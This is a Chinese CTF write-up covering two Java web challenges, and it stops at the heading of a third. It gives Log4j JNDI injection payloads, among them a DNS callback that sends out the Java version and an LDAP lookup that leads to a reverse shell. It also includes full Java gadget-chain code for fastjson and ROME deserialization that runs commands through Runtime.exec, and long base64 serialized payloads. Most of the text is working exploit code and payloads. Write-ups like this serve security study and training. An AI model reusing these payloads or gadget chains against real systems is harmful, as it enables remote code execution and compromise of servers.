[HZNUCTF 2023 final]ezjava
打开靶机其告诉我们会将uri的值计入log,且fastjson的版本为1.2.48首先这个版本的fastjson是不存在我们所俗知的fastjson反序列化漏洞的,其只存在原生反序列化漏洞,而题目说会将内容计入log,着让人想到了log4j的漏洞
从jndi注入到log4j注入
先尝试以下payload
1
| ${jndi:dns://v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}
|
可以发现成功进行了dns请求者就证明了此处存在JNDI注入
我们再探测以下java版本
1
| ${jndi:dns://${sys:java.version}.v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}
|
可以发现其版本为1.8.0.222这个版本的java是无法直接通过ldap来进行命令执行的
而题目说其fastjson的版本为1.2.48.那么我们就可以使用ldap来触发fastjson原生反序列化从而命令执行
fastjon反序列化
我这里直接使用1.2.83的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| package fastjson;
import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class v1_2_83 { public static Object Unserializ(String Filename) throws Exception{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } public static void Serializ(Object obj) throws Exception{ ByteArrayOutputStream bos=new ByteArrayOutputStream(); FileOutputStream fos = new FileOutputStream("ser_c.bin"); ObjectOutputStream oos=new ObjectOutputStream(bos); oos.writeObject(obj); byte[] byteArray = bos.toByteArray(); Base64.Encoder encoder = Base64.getEncoder(); String base64 = encoder.encodeToString(byteArray); System.out.println(base64); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); }
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray(); jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(templates,bd); Serializ(hashMap);
} }
|
我这里直接使用如下项目搭建Ldap服务器
JNDI-Exploit-Bypass-Demo

替换一下HackerLDAPRefServer.java的payload
然后就是
1 2
| mvn package java -cp HackerRMIRefServer-all.jar HackerLDAPRefServer 0.0.0.0 8088 1389
|
1
| ?url=${jndi:ldap://ip:1389/a}
|
成功反弹shell
[长城杯 2022 高校组]b4bycoffee
看源码可以发现器在/b4by/coffee进行了反序列化
且其重写了输入流类,我们看一下

可以发现其禁用了一些常见的命令执行的类
而在CoffeeBean下我们可以发现其调用了defineClass和newInstance来进行获取其类和实例化,那么我们就可以利用这个CoffeeBean来代替TemplatesImpl来进行任意字节码的加载
那么我们向上找Tostring,而我们看依赖可以发现其导入了Remo。那么我们就可以使用HashMap{hashcode}->EqualsBean{toString}->CoffeeBean 来命令执行
前面其实就是Rome链只是最后的改为了CoffBean来命令执行
@RequestBody 将请求对象和CoffeeRequest这个类绑定,这个类是一个有getter setter方法的类。其会将请求的json,进行反序列化,并将对应的值传入setter方法。来得到这个类的实例。
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package com.example.b4bycoffee.model;
import com.rometools.rome.feed.impl.EqualsBean; import com.sun.xml.internal.messaging.saaj.util.ByteInputStream; import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class exp { public static void ser(Object obj) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(obj); Base64.Encoder encoder = Base64.getEncoder(); System.out.println(encoder.encodeToString(bos.toByteArray())); } public static void unser(String str) throws IOException, ClassNotFoundException { Base64.Decoder decoder = Base64.getDecoder(); byte[] bytes = decoder.decode(str); ByteArrayInputStream bis = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); }
public static void main(String[] args) throws Exception { CoffeeBean coffeeBean = new CoffeeBean();
Class clazz = coffeeBean.getClass();
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class")); byte[][] bytecodes= {code};
Field ClassByte = clazz.getDeclaredField("ClassByte"); ClassByte.setAccessible(true); ClassByte.set(coffeeBean,code);
EqualsBean equalsBean = new EqualsBean(clazz,coffeeBean); equalsBean.hashCode();
HashMap<EqualsBean,Integer> map = new HashMap<>(); map.put(equalsBean,1);
ser(map); unser("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAABf7K/rq+AAAANAA2CgAJACUKACYAJwgAKAoAJgApBwAqBwArCgAGACwHAC0HAC4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkx0ZXN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAvAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAqAQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwACgALBwAwDAAxADIBAARjYWxjDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoANQEABHRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAkADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAABUADgAAACAAAwAAAAEADwAQAAAAAAABABMAFAABAAAAAQAVABYAAgAXAAAABAABABgAAQARABkAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAABoADgAAACoABAAAAAEADwAQAAAAAAABABMAFAABAAAAAQAaABsAAgAAAAEAHAAdAAMAFwAAAAQAAQAYAAgAHgALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAMAAkADwAMAA0ADQAOABYAEAAOAAAADAABAA0ACQAfACAAAAAhAAAABwACTAcAIgkAAQAjAAAAAgAkdAALQ29mZmVlIGJlYW5zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXg=");
}
|
下面我写一下怎么导入这个jar包吧。(折磨挺久的)
首先因为这个jar包不是库文件,所有我们不能直接右键导入。
我们得使用jadx来反编译。将源码导出,然后导入pom依赖

把jar包托入

除了com.example.b4bycoffee以外其他的都是导入的库。
我们右键将其导出导出到一个新建的maven项目里

导出后改一下包名即可
1
| {"Venti":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAAAkbK/rq+AAAANAAhCgAHABQKABUAFggAFwoAFQAYBwAZBwAaBwAbAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACNMY29tL2V4YW1wbGUvYjRieWNvZmZlZS9tb2RlbC9jYWxjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgACQcAHAwAHQAeAQAEY2FsYwwAHwAgAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAIWNvbS9leGFtcGxlL2I0Ynljb2ZmZWUvbW9kZWwvY2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAAAwAMAAAADAABAAAABQANAA4AAAAIAA8ACQABAAoAAABPAAIAAQAAAA64AAISA7YABFenAARLsQABAAAACQAMAAUAAwALAAAAEgAEAAAABgAJAAoADAAIAA0ACwAMAAAAAgAAABAAAAAHAAJMBwARAAABABIAAAACABN0AAtDb2ZmZWUgYmVhbnNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA=="}
|
[NCTF 2023]EvilMQ